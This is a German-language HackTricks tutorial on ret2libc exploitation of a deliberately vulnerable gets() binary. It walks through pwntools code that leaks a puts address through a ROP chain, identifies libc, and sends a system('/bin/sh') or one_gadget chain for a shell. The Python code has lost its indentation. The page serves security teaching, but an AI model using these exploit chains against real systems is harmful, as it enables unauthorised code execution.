Leaking libc address with ROP

Unterstützen Sie HackTricks

Schnelle Zusammenfassung

  1. Finden Sie den Überlauf Offset

  2. Finden Sie POP_RDI Gadget, PUTS_PLT und MAIN Gadgets

  3. Verwenden Sie die vorherigen Gadgets, um die Speicheradresse von puts oder einer anderen libc-Funktion zu leaken und die libc-Version zu finden (herunterladen)

  4. Mit der Bibliothek berechnen Sie den ROP und exploiten Sie ihn

Weitere Tutorials und Binaries zum Üben

Dieses Tutorial wird den im Tutorial vorgeschlagenen Code/Binary ausnutzen: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Weitere nützliche Tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Dateiname: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC Vorlage

Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binärdatei und gib die benötigten Daten an das Skript weiter:

Leaking libc - template

1- Offset finden

Die Vorlage benötigt einen Offset, bevor sie mit dem Exploit fortfahren kann. Wenn ein Offset bereitgestellt wird, wird der notwendige Code ausgeführt, um ihn zu finden (standardmäßig OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Führen Sie python template.py aus, eine GDB-Konsole wird geöffnet, in der das Programm abgestürzt ist. Führen Sie in dieser GDB-Konsole x/wx $rsp aus, um die Bytes zu erhalten, die den RIP überschreiben sollten. Holen Sie sich schließlich den Offset mit einer Python-Konsole:

from pwn import *
cyclic_find(0x6161616b)

Nachdem der Offset gefunden wurde (in diesem Fall 40), ändern Sie die OFFSET-Variable im Template mit diesem Wert. OFFSET = "A" * 40

Eine andere Möglichkeit wäre: pattern create 1000 -- ausführen bis ret -- pattern seach $rsp von GEF.

2- Gadgets finden

Jetzt müssen wir ROP-Gadgets im Binärdatei finden. Diese ROP-Gadgets werden nützlich sein, um puts aufzurufen, um die libc zu finden, die verwendet wird, und später um den endgültigen Exploit zu starten.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Der PUTS_PLT wird benötigt, um die Funktion puts aufzurufen. Der MAIN_PLT wird benötigt, um die Hauptfunktion nach einer Interaktion erneut aufzurufen, um die Überlauf erneut auszunutzen (unendliche Runden der Ausnutzung). Es wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen. Der POP_RDI wird benötigt, um einen Parameter an die aufgerufene Funktion zu übergeben.

In diesem Schritt müssen Sie nichts ausführen, da alles während der Ausführung von pwntools gefunden wird.

3- Finden der libc-Bibliothek

Jetzt ist es an der Zeit herauszufinden, welche Version der libc-Bibliothek verwendet wird. Dazu werden wir die Adresse im Speicher der Funktion puts leaken und dann werden wir suchen, in welcher Bibliotheksversion sich die puts-Version an dieser Adresse befindet.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Dies wird einige Bytes senden, bis das Überschreiben des RIP möglich ist: OFFSET. Dann wird die Adresse des Gadgets POP_RDI gesetzt, sodass die nächste Adresse (FUNC_GOT) im RDI-Register gespeichert wird. Das liegt daran, dass wir puts aufrufen möchten, indem wir ihm die Adresse von PUTS_GOT übergeben, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, auf die PUTS_GOT zeigt. Danach wird PUTS_PLT aufgerufen (mit PUTS_GOT im RDI), sodass puts den Inhalt innerhalb von PUTS_GOT (die Adresse der puts-Funktion im Speicher) liest und ausgibt. Schließlich wird die Hauptfunktion erneut aufgerufen, damit wir das Überlauf erneut ausnutzen können.

Auf diese Weise haben wir die puts-Funktion getäuscht, um die Adresse im Speicher der Funktion puts (die sich in der libc-Bibliothek befindet) auszugeben. Jetzt, da wir diese Adresse haben, können wir suchen, welche libc-Version verwendet wird.

Da wir einige lokale Binärdateien ausnutzen, ist es nicht nötig, herauszufinden, welche Version von libc verwendet wird (einfach die Bibliothek in /lib/x86_64-linux-gnu/libc.so.6 finden). Aber im Fall eines Remote-Exploits erkläre ich hier, wie Sie es finden können:

3.1- Suche nach der libc-Version (1)

Sie können suchen, welche Bibliothek auf der Webseite verwendet wird: https://libc.blukat.me/ Es wird Ihnen auch ermöglichen, die entdeckte Version von libc herunterzuladen.

3.2- Suche nach der libc-Version (2)

Sie können auch Folgendes tun:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Das wird einige Zeit in Anspruch nehmen, seien Sie geduldig. Damit dies funktioniert, benötigen wir:

  • Libc-Symbolname: puts

  • Leckende libc-Adresse: 0x7ff629878690

Wir können herausfinden, welche libc höchstwahrscheinlich verwendet wird.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Wir erhalten 2 Übereinstimmungen (du solltest die zweite ausprobieren, wenn die erste nicht funktioniert). Lade die erste herunter:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopiere die libc von libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so in unser Arbeitsverzeichnis.

3.3- Andere Funktionen zum Leaken

puts
printf
__libc_start_main
read
gets

4- Finden der libc-Adresse und Ausnutzen

An diesem Punkt sollten wir die verwendete libc-Bibliothek kennen. Da wir ein lokales Binary ausnutzen, werde ich einfach verwenden: /lib/x86_64-linux-gnu/libc.so.6

Ändern Sie also am Anfang von template.py die libc-Variable in: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Setze den Bibliothekspfad, wenn bekannt

Durch die Angabe des Pfads zur libc-Bibliothek wird der Rest des Exploits automatisch berechnet.

Innerhalb der get_addr-Funktion wird die Basisadresse von libc berechnet:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Beachten Sie, dass die endgültige libc-Basisadresse mit 00 enden muss. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt.

Dann werden die Adresse der Funktion system und die Adresse des Strings "/bin/sh" aus der Basisadresse von libc berechnet und der libc-Bibliothek gegeben.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Schließlich wird der /bin/sh Ausführungs-Exploit vorbereitet und gesendet:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Lass uns dieses letzte ROP erklären. Das letzte ROP (rop1) endete damit, dass die Hauptfunktion erneut aufgerufen wurde, dann können wir die Overflow erneut ausnutzen (deshalb ist der OFFSET hier wieder). Dann wollen wir POP_RDI aufrufen, das auf die Adresse von "/bin/sh" (BINSH) zeigt, und die system-Funktion (SYSTEM) aufrufen, da die Adresse von "/bin/sh" als Parameter übergeben wird. Schließlich wird die Adresse der Exit-Funktion aufgerufen, damit der Prozess schön endet und keine Warnung generiert wird.

Auf diese Weise wird der Exploit eine _/bin/sh_** Shell ausführen.**

4(2)- Verwendung von ONE_GADGET

Du könntest auch ONE_GADGET verwenden, um eine Shell zu erhalten, anstatt system und "/bin/sh" zu verwenden. ONE_GADGET wird in der libc-Bibliothek eine Möglichkeit finden, eine Shell mit nur einer ROP-Adresse zu erhalten. Normalerweise gibt es jedoch einige Einschränkungen, die häufigsten und am einfachsten zu vermeidenden sind wie [rsp+0x30] == NULL. Da du die Werte im RSP kontrollierst, musst du nur einige weitere NULL-Werte senden, damit die Einschränkung umgangen wird.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT DATEI

Sie können hier eine Vorlage finden, um diese Schwachstelle auszunutzen:

Leaking libc - template

Häufige Probleme

MAIN_PLT = elf.symbols['main'] nicht gefunden

Wenn das "main"-Symbol nicht existiert. Dann können Sie herausfinden, wo sich der Hauptcode befindet:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

und die Adresse manuell festlegen:

MAIN_PLT = 0x401080

Puts nicht gefunden

Wenn die Binary Puts nicht verwendet, sollten Sie überprüfen, ob sie verwendet wird

sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden

Wenn Sie diesen Fehler nach der Erstellung des gesamten Exploits finden: sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden

Versuchen Sie, 64 Bytes von der Adresse von "/bin/sh" abzuziehen:

BINSH = next(libc.search("/bin/sh")) - 64
Unterstütze HackTricks

Last updated